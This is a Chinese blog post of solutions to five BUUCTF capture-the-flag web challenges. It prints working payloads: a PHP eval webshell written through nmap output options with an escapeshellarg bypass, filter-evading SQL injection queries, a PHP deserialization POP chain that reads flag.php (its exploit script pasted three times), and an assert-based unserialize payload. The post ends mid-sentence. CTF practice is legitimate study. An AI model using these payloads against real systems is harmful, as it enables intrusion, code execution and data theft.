BUUCTF 个人做题记录【7-02】

8 篇文章 0 订阅

目录

1.[网鼎杯 2020 朱雀组]Nmap1

2.[SWPU2019]Web1 1

3.[MRCTF2020]PYWebsite1

4.[MRCTF2020]Ezpop 1

5.[NPUCTF2020]ReadlezPHP 1


1.[网鼎杯 2020 朱雀组]Nmap1

考点nmap -oG 写入文件-iL读取扫描文件escapeshellarg绕过(参考链接
解法:将nmap扫描结果写入文件时加入一句话木马,需要绕过escapeshellarg()函数

来自:(6条消息) BUUCTF [网鼎杯 2020 朱雀组] Nmap_Senimo_的博客-CSDN博客_buuctf online tools

 扫个地址看看

  

 我们尝试写入一句话木马,

' <?php @eval($_POST['cmd']);?> -oG cmd.php '

 

 应该是php关键字被过滤,

通常,在嵌入了php脚本的html中,使用 phtml作为后缀名;

完全是php写的,则使用php作为后缀名。

这两种文件,web服务器都会用php解释器进行解析。

来自:

(6条消息) php,文件后缀 phtml 和 php_BenzKuai的博客-CSDN博客_php phtml

<?php用<?=代替,.php用.phtml代替:

关于php短标签:(6条消息) php中的短标签_qq_32320151的博客-CSDN博客_php短标签

' <?= eval($_POST["cmd"]);?> -oG cmd.phtml '

关于esscapeshellarg函数的绕过请看:

(6条消息) [BUUCTF 2018]Online Tool(超详细解析payload)_k0f1i的博客-CSDN博客_payload解析

访问cmd.phtml

 返回的页面没有显示我们写入的php代码,只显示了文件名,这说明我们的代码被解析了,如果回显页面有显示我们的代码,说明我们的代码没有被解析,也就是传入失败。

我们在现在这个页面下传入我们的参数

 eval函数可以解析任意代码,如果我们传入的参数值是php代码,那么它就是解析并执行

(6条消息) php eval()函数_yyyyzzzllll的博客-CSDN博客_eval php

还有一种方法菜刀或蚁剑链接,在根目录下找到flag

另外我们还可以直接用- iL 读取flag

命令为

127.0.0.1‘ -iL /flag -o 1

读取目录下的flag内容 ,-o 1结果保存名为1的文件,后面我们直接在地址栏访问即可

2.[SWPU2019]Web1 1

先随便注册一个账号,登录后打开申请发布广告的页面

 sql注入的尝试:

(6条消息) sql注入基础原理(超详细)_牛牛Blog的博客-CSDN博客_sql注入原理

输入1,回显正常

 输入1‘,回显错误

再输入1‘ or '1'='1 ,结果是

存在过滤,常规的sql注入字符不可用,空格被过滤,注释符--+,#都不可用,用单独的'+任意数字代替注释符

1'/**/group/**/by/22,'1

得到正常的回显

22那里原本是从1开始,用递增的方式检测列数,自己可以尝试

1'/**/group/**/by/23,'1

 23列,联合查询尝试\

1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'1

 查一下数据库的版本以确定正确的sql语句格式

1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'1

数据库

 1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'1

 表,information_schema.tables不可用,有三个替换方案

  • sys.schema_auto_increment_columns
  • sys.schema_table_statistics_with_buffer
  • mysql.innodb_table_stats

只有mysql.innodb_table_stats可以使用

1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'1


 两个表,看users表

无列名注入,

 -1'union/**/select/**/1,(select/**/group_concat(`3`)/**/from(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)tb),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

来自:

(6条消息) [WP-SWPU2019]web1/二次注入原理和利用/information_schema的替代方案_車鈊的博客-CSDN博客

参考:

(6条消息) SQL注入之无列名注入_noViC4的博客-CSDN博客_无列名注入

3.[MRCTF2020]PYWebsite1

源码的意思,输入传入code,后面是一个md5验证,验证成功之后跳转到flag.php,其实我们可以直接访问,无需绕过

 

 验证之后也是跳到这个页面,自己尝试

源码 提示除了购买者和他自己,别人无法查看,这个他自己是不是就是指会不会就是指他的真实ip,为什么会这样想呢,我们已经跳转到flag.php但却无法查看flag.php的内容,最容易想到的就是真实ip的问题

4.[MRCTF2020]Ezpop 1

代码审计

首先,一眼看上去 我们的得到两个关键的信息:一是 flag在 flag.php 另一个是存在文件包含。所以,在本关我们可以尝试使用php伪协议 来读取flag。
本关还有一个考点就是 php反序列化之pop链

前面我们做过许多 反序列化的题
在这里我想在简单的说一下 我前面一直没有注意到的点,包括简单总结一下:
在 php 序列化的时候,只是将类名,变量名等的这类东西以字符串的形式保存起来,而方法其实并没有保存起来。所以我们在反序列化的时候也只是 反序列化类名,变量名(反序列化就是一个将字符串还原的过程)。
序列化,就是保存类的基本信息,而反序列化就是读取。虽然我们没有办法字定义危险函数,但却可以利用已有的敏感函数 通过反序列化 来达到我们的目的。
所以 漏洞的关键点就是 序列化与反序列化的过程用户可控
序列化与反序列化漏洞的精髓在与敏感函数利用与类重构。

简单的说一下 pop链的反序列化

pop链的反序列化本质上和我们前面所用的没有区别。无非是这个长点儿。很像链条一样,一环套一环

php代码审计

__invoke()魔术方法:在类的对象被调用为函数时候,自动被调用
__toString()魔术方法:在类的对象被当作字符串操作的时候,自动被调用
__wakeup()魔术方法,在类的对象反序列化的时候,自动被调用
__construct()构造方法:在类的对象实例化之前,自动被调用
__get()魔术方法:从不可访问的属性中读取数据会触发(访问类中一个不存在的属性时自动调用)

在pop链的时候,我比较喜欢从结果往回推
我们先看文件包含的函数include,要调用include函数,就要调用append方法,appendde1方法需要__invoke()进行触发。
__invoke()调用的条件就是Modifier被调用为函数的时候
在这里,我们可以利用__get()方法

_get()中的p赋值为Modifier类,那么相当于Modifier类被当作函数处理,所以会调用Modifier类中的_invoke()方法。

而我们可以利用__toString() 返回Show类的属性str中的属性source,但是test中没有source属性 所以成功调用get方法

__toString()直接输出对象引用的时候,不产生报错。快速获取对象的字符串信息的便捷方式。

调用Show类的__toString()方法:就利用Show的__construct方法触发,把source赋值为Show类

所以,我们调用函数的顺序就是:
__construct->__toString()->__get()->__invoke()->append->文件包含

<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

}

class Test{
    public $p;
     public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a= new Show();
$file='index.php';
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

}

class Test{
    public $p;
     public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a= new Show();
$file='index.php';
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();<?php
class Modifier {
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

}

class Test{
    public $p;
     public function __get($key){
        $function = $this->p;
        return $function();
    }
}

$a= new Show();
$file='index.php';
$a->source=new Show();
$a->source->str=new Test();
$a->source->str->p=new Modifier();

 

 解码就行

来自:

(6条消息) [MRCTF2020]Ezpop 1——pop链的反序列化_hcjtn的博客-CSDN博客_ctf pop链

5.[NPUCTF2020]ReadlezPHP 1

这题要用ctr+u查看源代码,右击没有用

源码里发现一个链接

点进去

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);

 最后一行@符号的作用:

php @

阻止警告输出。
有些函数,在遇到入参不正确时,会提示警告,但程序也可以正常运行。其实只要把警告去掉就可以,所以就有@这个符号。

来自:(6条消息) NPUCTF2020]ReadlezPHP_Hopeace的博客-CSDN博客

我们序列化内容

<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "phpinfo()";
        $this->b = "assert";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

@$ppp = serialize($c);
echo $ppp;
?>

为什么函数执行要用assert执行代码而不用eval?

PHP assert 和 eval不同

assert()可以将整个字符串参数当作php参数执行,
而类似的eval()函数是执行合法的php代码,eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str,且必须以分号结尾,函数调用除外。

例如:
这样是不行的。

<?php
echo eval(echo 1);
?>
1
2
3
这样就可以了。

<?php
echo eval("echo 1;");
?>
1
2
3
注意:assert把整个字符串参数当php代码执行,eval把合法的php代码执行。

来自:

(6条消息) [NPUCTF2020]ReadlezPHP 1_succ3的博客-CSDN博客

传参 

 

如果把phpinfo替换为system('ls /')或

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值